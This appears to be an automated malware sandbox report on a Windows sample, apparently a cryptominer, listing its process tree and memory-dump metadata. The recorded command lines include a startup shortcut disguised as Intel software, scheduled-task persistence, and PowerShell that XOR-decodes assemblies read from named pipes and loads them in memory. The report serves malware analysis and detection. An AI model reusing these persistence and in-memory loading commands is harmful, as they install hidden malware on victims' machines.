Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:49:29
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:49:29
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:49:30
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:49:30
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:49:30
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Imagebase:	0x7ff7a2130000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	05:49:37
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	05:49:37
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	05:49:38
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml
Imagebase:	0x7ff7a2130000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	05:50:07
Start date:	17/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	05:50:38
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"GLSXQXRVFAHVDEQYPRSDVGLAEEFHUSGJKSWIUJCYTRNPAMDOUHMAIYAEEBPXFFTUYFACQTGLCVYRNSSHYWFWFOKLAJSVUCDOKGIGITRSISPPMSNOBNSJHLJGXIPDNLBS\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Imagebase:
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	05:50:38
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	05:50:46
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"LXUACJGCHJQDEYDGSNQXYJQGFJMGQKRJPWRHKFILVEKMQAQLQIGQRGMOGMXGBBDBLKMWPJKULMBQPXWHUFCXYTKCBESBUWOKFPHBSEPSYYAUBJXTYXPNJDXVBPCECGSP\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Imagebase:
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	05:50:46
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	68
Start time:	05:51:46
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"MKVJMXBCRWWOUVEMTDUWQIHXBQGAJWWVNHRKQRRWQFJJKQLQDUAMSCSMTRQMPIGQMRUXJCBJAWINPSYTEBWUSBXLEFTCFYAERPGJYGUJVRKAINIJYABRUTKDFRYTLNAF\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Imagebase:
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	69
Start time:	05:51:46
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 00000004.00000002.2234740622.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 00000004.00000002.2234706740.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2235098108.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2237438980.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2237466917.00007FFD93618000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2237496299.00007FFD93623000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2237707861.00007FFD93637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2237707861.00007FFD9363A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2238052969.00007FFD9363C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2238265946.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Analysis Process: rundll32.exePID: 4232, Parent PID: 6720COMMON

Non-executed Functions

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 00000005.00000002.2234757727.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 00000005.00000002.2234727839.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2235113969.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2237469006.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2237498556.00007FFD93618000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2237815269.00007FFD93623000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2237931483.00007FFD93637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2237931483.00007FFD9363A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2238351941.00007FFD9363C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2238561310.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Analysis Process: rundll32.exePID: 5156, Parent PID: 2792COMMON

Non-executed Functions

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 00000006.00000002.2307369908.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 00000006.00000002.2307340785.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2307714046.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2308611261.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2308651004.00007FFD93618000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2308684513.00007FFD93623000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2308719788.00007FFD93637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2308719788.00007FFD9363A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2309054058.00007FFD9363C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.2309088607.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Analysis Process: powershell.exePID: 3560, Parent PID: 5156COMMON

Executed Functions

Function 00007FFD322633B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2279462943.00007FFD32260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd32260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 3bf745786680ed1a2d6c884dc9e5234bcc09b2c06125dddc84fc906ead6b9fd7
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 9501A73120CB0C8FD744EF0CE451AA6B3E0FB85320F10056DE58AC3652DA32E882CB41

Non-executed Functions

Function 00007FFD32260EF0 Relevance: 2.7, Strings: 2, Instructions: 161COMMON

Download Yara Rule

Strings

;, xrefs: 00007FFD3226107A
5N_^, xrefs: 00007FFD32260F01

Memory Dump Source

Source File: 0000000D.00000002.2279462943.00007FFD32260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd32260000_powershell.jbxd

Similarity

API ID:
String ID: 5N_^$;
API String ID: 0-3071919449
Opcode ID: 23643c61fd0c343d1f5e00a37189521c5610c0017c0f09f2c3ae89457765570e
Instruction ID: f1cd8dba2fd9d88c300ca905a293572acad5ca7a73a623bfce0352bc91649f94
Opcode Fuzzy Hash: 23643c61fd0c343d1f5e00a37189521c5610c0017c0f09f2c3ae89457765570e
Instruction Fuzzy Hash: 5251D697E1E7DA5EE75392385C781E63F90AF13259F0E01F7C9C45B0D3AE48640AA252

Function 00007FFD32262765 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2279462943.00007FFD32260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd32260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 261a2f9b0419bca6b45a9d0850c99852c22c82f5a09f84c47c913591386ec3e5
Instruction ID: 18b97ee09b2f56986329a6c21ae932984a6ff3a289594c96127617549f9ba18e
Opcode Fuzzy Hash: 261a2f9b0419bca6b45a9d0850c99852c22c82f5a09f84c47c913591386ec3e5
Instruction Fuzzy Hash: DC61B86BF0D3D25FE322A77CACB55E63BA0DF5222970E01B7C6C58E093ED48540A9361

Function 00007FFD322625FA Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2279462943.00007FFD32260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd32260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afdae9beea9d501147df809c1bdfc35f218477fee07a48e772693145c3b577b3
Instruction ID: 76665846612484f809ee6e9ec7293672e9cb7071311e0c8a2933b26b29c49fc0
Opcode Fuzzy Hash: afdae9beea9d501147df809c1bdfc35f218477fee07a48e772693145c3b577b3
Instruction Fuzzy Hash: 6951D66BF0D6D24FE36356BCAC791E63BA0DF5226670D01B3CAC58A093ED8D18069761

Analysis Process: powershell.exePID: 7236, Parent PID: 5156COMMON

Executed Functions

Function 00007FFD322833B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2301162988.00007FFD32280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd32280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9012389c5d5d61f123a0134075156eea11aa2eabdd9b95c29ad039b298ad7b13
Instruction ID: 3c6372ab6563316a1f81e2eeee08655cb0716625da4ea238f2a2941dba5002e7
Opcode Fuzzy Hash: 9012389c5d5d61f123a0134075156eea11aa2eabdd9b95c29ad039b298ad7b13
Instruction Fuzzy Hash: 1201A73020CB0C8FD744EF0CE451AA5B3E0FB85320F10056DE58AC3652DA32E882CB41

Analysis Process: rundll32.exePID: 7340, Parent PID: 2792COMMON

Non-executed Functions

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 00000013.00000002.2462770982.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 00000013.00000002.2462669457.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2463720541.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2464785160.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2464812445.00007FFD93618000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2464841604.00007FFD93623000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2464888417.00007FFD93637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2464888417.00007FFD9363A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2464960551.00007FFD9363C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000013.00000002.2465003966.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Analysis Process: powershell.exePID: 7552, Parent PID: 7340COMMON

Executed Functions

Function 00007FFD32351302 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2448793818.00007FFD32350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd32350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf873e9141f2724bc3b867a6caf66f534937839d0e8ecbe0d50b4e7f4d59f31
Instruction ID: f55c965544044ffaf5492621ba07af3098a198cc8b51a0ae1a2f1a14225cb5c2
Opcode Fuzzy Hash: eaf873e9141f2724bc3b867a6caf66f534937839d0e8ecbe0d50b4e7f4d59f31
Instruction Fuzzy Hash: C051033190D7C84FD7569B2898256A47FF0EF87325F0941EFD089CB1A3C678A816CB92

Function 00007FFD3235105F Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2448793818.00007FFD32350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd32350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1997b0c88bc9a95f7c73e6964c723a05f9fcb13906040d5fbff483831da2901
Instruction ID: 3211f8af05f6a799c963aa6a9c9eece90d9122baae383b25d04ed62f325fab16
Opcode Fuzzy Hash: c1997b0c88bc9a95f7c73e6964c723a05f9fcb13906040d5fbff483831da2901
Instruction Fuzzy Hash: 24411763F0EBC60FE765A66C4866268BBD1EF55610F2802FED48C871D3DD687C069741

Function 00007FFD3235101F Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2448793818.00007FFD32350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd32350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6383df902f8cc8301cecb317e19eed9604a05941a5ff2dade1809cff90f42c28
Instruction ID: 1a452c26b11bfec742b5876fa30306b6b0e6643e48340620e4214a75fa59c88b
